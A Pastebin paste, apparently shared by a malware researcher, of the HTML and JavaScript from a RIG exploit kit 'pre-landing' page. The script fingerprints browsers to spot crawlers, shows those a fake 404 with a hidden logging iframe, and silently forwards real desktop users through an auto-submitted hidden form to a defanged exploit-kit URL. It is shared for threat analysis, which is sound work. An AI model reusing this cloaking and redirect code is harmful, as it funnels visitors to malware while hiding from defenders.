Advertisement
MalwareBreakdown

stockholmads.info, returns RIG EK "pre-landing" page

Feb 19th, 2017
10,693
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.55 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <title></title>
  5. <meta charset="UTF-8">
  6. <meta http-equiv="X-UA-Compatible" content="IE=EDGE">
  7. <meta name="apple-mobile-web-app-capable" content="yes">
  8. <meta name="apple-mobile-web-app-status-bar-style" content="black">
  9. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  10. </head>
  11. <body>
  12. <iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden"></iframe>
  13. <script>
  14. var NormalURL = 'hxxp://sup[.]GLENCOELOCKSMITHIL[.]COM/?ct=Vivaldi&biw=Vivaldi.103ph57.406u1r7q0&br_fl=3544&tuif=4101&q=z3vQMvXcJwDQDoTBMvrESLtEMU_OHEKK2OH_783VCZr9JHT1vvHPRAP1tgW&oq=Ceg_V9aB5LbpQbArgjEGIew1oldgIVVhF8qqs2kDTyEeb0cWL-CW9UU4HupE&yus=Vivaldi.89vv112.406a0w5e9';
  15. var InfoStr = '';
  16.  
  17. function getBrowser() {
  18. var ua = navigator.userAgent;
  19.  
  20. var browsrObj = {
  21. browser: 'unknown',
  22. browser_real: '',
  23. is_bot: false,
  24. browser_quality: 0,
  25. platform: 'desktop',
  26. versionFull: '',
  27. versionShort: ''
  28. };
  29.  
  30. try{
  31.  
  32. var bName = function () {
  33. if (ua.search(/Edge/) > -1) return "edge";
  34. if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie";
  35. if (ua.search(/Firefox/) > -1) return "firefox";
  36. if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera";
  37. if (ua.search(/YaBrowser/) > -1) return "yabrowser";
  38. if (ua.search(/Chrome/) > -1) return "chrome";
  39. if (ua.search(/Safari/) > -1) return "safari";
  40. if (ua.search(/Maxthon/) > -1) return "maxthon";
  41. else return "unknown";
  42. }();
  43.  
  44. browsrObj.browser = bName;
  45.  
  46. if(/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = 'mobile';
  47.  
  48.  
  49. var version;
  50. if(bName != 'unknown')
  51. {
  52. switch (bName) {
  53. case "edge":
  54. version = (ua.split("Edge")[1]).split("/")[1];
  55. break;
  56. case "ie":
  57. if((ua.search(/Trident/) > -1))
  58. {
  59. version = (ua.split("; rv:")[1]).split(")")[0];
  60. }
  61. else
  62. {
  63. version = (ua.split("MSIE ")[1]).split(";")[0];
  64. }
  65. break;
  66. case "firefox":
  67. version = ua.split("Firefox/")[1];
  68. break;
  69. case "opera":
  70. version = ua.split("Version/")[1];
  71. break;
  72. case "operaWebkit":
  73. bName = "opera";
  74. version = ua.split("OPR/")[1];
  75. break;
  76. case "yabrowser":
  77. version = (ua.split("YaBrowser/")[1]).split(" ")[0];
  78. break;
  79. case "chrome":
  80. version = (ua.split("Chrome/")[1]).split(" ")[0];
  81. break;
  82. case "safari":
  83. version = (ua.split("Version/")[1]).split(" ")[0];
  84. break;
  85. case "maxthon":
  86. version = ua.split("Maxthon/")[1];
  87. break;
  88.  
  89. }
  90.  
  91. browsrObj.versionFull = version;
  92. browsrObj.versionShort = version.split(".")[0];
  93. }
  94.  
  95. } catch (err) {}
  96.  
  97.  
  98. var w=window,d=document;
  99. var CorrectBrowser = true;
  100. var uaBrowser = browsrObj;
  101. var isIE = isChrome = isFirefox = isOpera = 0;
  102.  
  103. if(uaBrowser.platform != 'mobile' && (browsrObj.browser == 'ie' || browsrObj.browser == 'chrome' || browsrObj.browser == 'firefox'))
  104. {
  105. if('ActiveXObject' in window) isIE++;
  106. if('chrome' in window) isChrome++;
  107. if('opera' in window) isOpera++;
  108.  
  109. if('getBoxObjectFor' in d || 'mozInnerScreenX' in w) isFirefox++;
  110.  
  111. if('WebKitCSSMatrix' in w||'WebKitPoint' in w||'webkitStorageInfo' in w||'webkitURL' in w) isChrome++;
  112.  
  113.  
  114. var f=0;
  115. f|='sandbox' in d.createElement('iframe')?1:0;
  116. f|='WebSocket' in w?2:0;
  117. f|=w.Worker?4:0;
  118. f|=w.applicationCache?8:0;
  119. f|=w.history && history.pushState?16:0;
  120. f|=d.documentElement.webkitRequestFullScreen?32:0;
  121. f|='FileReader' in w?64:0;
  122.  
  123.  
  124. if(f==0) isIE++;
  125.  
  126. if(isIE > 0)
  127. {
  128. browsrObj.browser_real = 'ie';
  129. browsrObj.browser_quality = isIE;
  130. }
  131. if(isChrome > 1 && isFirefox == 0)
  132. {
  133. browsrObj.browser_real = 'chrome';
  134. browsrObj.browser_quality = isChrome;
  135. }
  136. if(isFirefox > 0 && isChrome == 0)
  137. {
  138. browsrObj.browser_real = 'firefox';
  139. browsrObj.browser_quality = isFirefox;
  140. }
  141.  
  142. if(uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
  143. }
  144.  
  145. InfoStr += browsrObj.browser+'-'+browsrObj.browser_real+'_ie'+isIE+'chrome'+isChrome+'firefox'+isFirefox;
  146.  
  147. return browsrObj;
  148. }
  149.  
  150. function go()
  151. {
  152. BrowserInfo = getBrowser();
  153. if (BrowserInfo.is_bot == true)
  154. {
  155. document.write('<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.2.22 (Debian) Server Port 80</address><iframe src="/log.php?info=' + InfoStr + '" width=10 height=10></iframe></body></html>')
  156. }
  157. else
  158. {
  159. window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + NormalURL + '"></form>';
  160. window.frames[0].document.forms[0].submit()
  161. }
  162. }
  163.  
  164.  
  165. </script>
  166.  
  167. </body>
  168. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement